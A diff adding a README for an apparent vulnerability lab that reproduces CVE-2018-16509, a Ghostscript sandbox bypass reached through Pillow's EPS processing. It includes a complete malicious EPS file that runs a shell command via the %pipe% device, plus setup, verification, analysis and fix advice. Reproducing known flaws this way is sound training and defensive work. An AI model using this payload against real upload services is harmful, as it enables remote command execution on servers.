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+# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)
+
+[中文文档](README.zh-cn.md)
+
+PIL/Pillow is a widely used image processing library in Python.
+
+In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
+
+This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
+
+References:
+
+- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
+- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
+- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)
+
+## Environment Setup
+
+Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
+
+```
+docker compose up -d
+```
+
+After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.
+
+## Vulnerability Reproduction
+
+Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:
+
+```
+%!PS-Adobe-3.0 EPSF-3.0
+%%BoundingBox: -0 -0 100 100
+
+userdict /setpagedevice undef
+save
+legal
+{ null restore } stopped { pop } if
+{ legal } stopped { pop } if
+restore
+mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
+```
+
+Visit `http://your-ip:8000` and upload this file.
+
+After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.
+
+Execute the following command to verify if the vulnerability has been successfully exploited:
+
+```
+docker compose exec web ls -la /tmp/
+```
+
+If you see the `/tmp/got_rce` file, it means the command execution was successful.
+
+## Vulnerability Analysis
+
+The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:
+
+```python
+command = ["gs",
+           "-q",                         # quiet mode
+           "-g%dx%d" % size,             # set output geometry (pixels)
+           "-r%fx%f" % res,              # set input DPI (dots per inch)
+           "-dBATCH",                    # exit after processing
+           "-dNOPAUSE",                  # don't pause between pages
+           "-dSAFER",                    # safe mode
+           "-sDEVICE=ppmraw",            # ppm driver
+           "-sOutputFile=%s" % outfile,  # output file
+           "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
+                                         # adjust for image origin
+           "-f", infile,                 # input file
+           "-c", "showpage",             # showpage
+           ]
+```
+
+Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
+
+In the sample application, when an image is uploaded, it is processed as follows:
+
+```python
+img = Image.open(img_path)
+w, h = img.size
+ratio = 256.0 / max(w, h)
+
+resized_img = img.resize((int(w * ratio), int(h * ratio)))
+resized_img.save(img_path)
+```
+
+Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.
+
+To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.